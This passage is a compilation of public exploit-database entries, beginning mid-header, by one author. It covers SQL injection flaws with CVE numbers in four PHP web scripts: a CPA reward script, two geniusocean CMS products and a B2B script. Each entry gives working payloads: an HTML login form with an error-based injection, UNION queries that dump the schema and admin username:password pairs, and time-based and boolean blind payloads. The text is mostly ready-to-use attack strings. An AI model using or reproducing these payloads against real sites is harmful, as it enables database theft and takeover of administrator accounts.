# Software Link: http://www.websitescripts.org/website-scripts/cpa-lead-reward-script-incentive-script-/prod_68.html
# Demo: http://www.websitescripts.org/demo/cpaleadrewardscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15986
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# # # # #
-->
<form action="http://localhost/[PATH]/index.php" method="post">
<input type="text" name="username" value="' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e202d ,(SELECT (ELT(4=4,1))),VERSiON(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'efe'='"/>
<input name="password" type="password" value="eFe"/>
<input type="Submit" name="login" value="Ver Ayari" />
</form>
HireHackking 
# # # # # 
# Exploit Title: MyMagazine Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-bootstrap-newspaper-magazine-and-blog-cms-script/19620468
# Demo: http://demo.geniusocean.com/mymagazine/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15983
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL]
# 
# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+-
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: News Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/news-dynamic-newspaper-magazine-and-blog-cms-script/19656143
# Demo: http://demo.geniusocean.com/news/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15982
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL]
# 
# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+-
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Basic B2B Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/nC3F4570353/php-scripts/basic-b2b-script
# Demo: http://readymadeb2bscript.com/product/entrepreneur/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/product_view1.php?pid=[SQL]
# 
# -19'++/*!03333UNION*/+/*!03333SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,(/*!03333Select*/+export_set(5,@:=0,(/*!03333select*/+count(*)/*!03333from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!03333table_name*/,0x3c6c693e,2),/*!03333column_name*/,0xa3a,2)),@,2)),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+-
# 
# http://localhost/[PATH]/productcompanyinfo.php?id=[SQL]
# 
# 
# Parameter: pid (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=19' AND SLEEP(5) AND 'zgOs'='zgOs
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=309' AND 2824=2824 AND 'AWCd'='AWCd
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=309' AND SLEEP(5) AND 'BTCw'='BTCw
# 
# Etc..
# # # # #